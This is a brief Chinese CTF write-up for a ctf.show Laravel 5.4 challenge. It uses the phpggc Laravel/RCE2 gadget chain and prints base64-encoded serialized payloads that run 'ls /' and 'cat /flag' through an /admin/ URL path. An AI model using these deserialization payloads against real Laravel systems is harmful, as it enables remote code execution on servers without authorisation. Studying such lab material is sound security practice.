web466笔记（Laravel5.4版本）

Laravel5.4版本 ，提交数据需要base64编码
https://xz.aliyun.com/news/10450#toc-0
phpggc工具
https://github.com/ambionics/phpggc

 

./phpggc -i Laravel/RCE2 

Name : Laravel/RCE2
Version : 5.4.0 <= 8.6.9+
Type : RCE: Function Call
Vector : __destruct

./phpggc Laravel/RCE2 <function> <parameter>

题目提示要base64编码提交

./phpggc Laravel/RCE2 system 'ls /'|base64

Tzo0MDoiSWxsdW1pbmF0ZVxCcm9hZGNhc3RpbmdcUGVuZGluZ0Jyb2FkY2FzdCI6Mjp7czo5OiIA
KgBldmVudHMiO086Mjg6IklsbHVtaW5hdGVcRXZlbnRzXERpc3BhdGNoZXIiOjE6e3M6MTI6IgAq
AGxpc3RlbmVycyI7YToxOntzOjQ6ImxzIC8iO2E6MTp7aTowO3M6Njoic3lzdGVtIjt9fX1zOjg6
IgAqAGV2ZW50IjtzOjQ6ImxzIC8iO30K

https://5b13754e-3d95-4c3f-88f5-9e9eab526540.challenge.ctf.show/admin/Tzo0MDoiSWxsdW1pbmF0ZVxCcm9hZGNhc3RpbmdcUGVuZGluZ0Jyb2FkY2FzdCI6Mjp7czo5OiIAKgBldmVudHMiO086Mjg6IklsbHVtaW5hdGVcRXZlbnRzXERpc3BhdGNoZXIiOjE6e3M6MTI6IgAqAGxpc3RlbmVycyI7YToxOntzOjQ6ImxzIC8iO2E6MTp7aTowO3M6Njoic3lzdGVtIjt9fX1zOjg6IgAqAGV2ZW50IjtzOjQ6ImxzIC8iO30K

 

https://5b13754e-3d95-4c3f-88f5-9e9eab526540.challenge.ctf.show/admin/Tzo0MDoiSWxsdW1pbmF0ZVxCcm9hZGNhc3RpbmdcUGVuZGluZ0Jyb2FkY2FzdCI6Mjp7czo5OiIAKgBldmVudHMiO086Mjg6IklsbHVtaW5hdGVcRXZlbnRzXERpc3BhdGNoZXIiOjE6e3M6MTI6IgAqAGxpc3RlbmVycyI7YToxOntzOjk6ImNhdCAvZmxhZyI7YToxOntpOjA7czo2OiJzeXN0ZW0iO319fXM6ODoiACoAZXZlbnQiO3M6OToiY2F0IC9mbGFnIjt9Cg==

./phpggc Laravel/RCE2 system 'cat /flag'|base64
Tzo0MDoiSWxsdW1pbmF0ZVxCcm9hZGNhc3RpbmdcUGVuZGluZ0Jyb2FkY2FzdCI6Mjp7czo5OiIA
KgBldmVudHMiO086Mjg6IklsbHVtaW5hdGVcRXZlbnRzXERpc3BhdGNoZXIiOjE6e3M6MTI6IgAq
AGxpc3RlbmVycyI7YToxOntzOjk6ImNhdCAvZmxhZyI7YToxOntpOjA7czo2OiJzeXN0ZW0iO319
fXM6ODoiACoAZXZlbnQiO3M6OToiY2F0IC9mbGFnIjt9Cg==

 ./phpggc Laravel/RCE2 system 'cat /flag'
O:40:"Illuminate\Broadcasting\PendingBroadcast":2:{s:9:"*events";O:28:"Illuminate\Events\Dispatcher":1:{s:12:"*listeners";a:1:{s:9:"cat /flag";a:1:{i:0;s:6:"system";}}}s:8:"*event";s:9:"cat /flag";}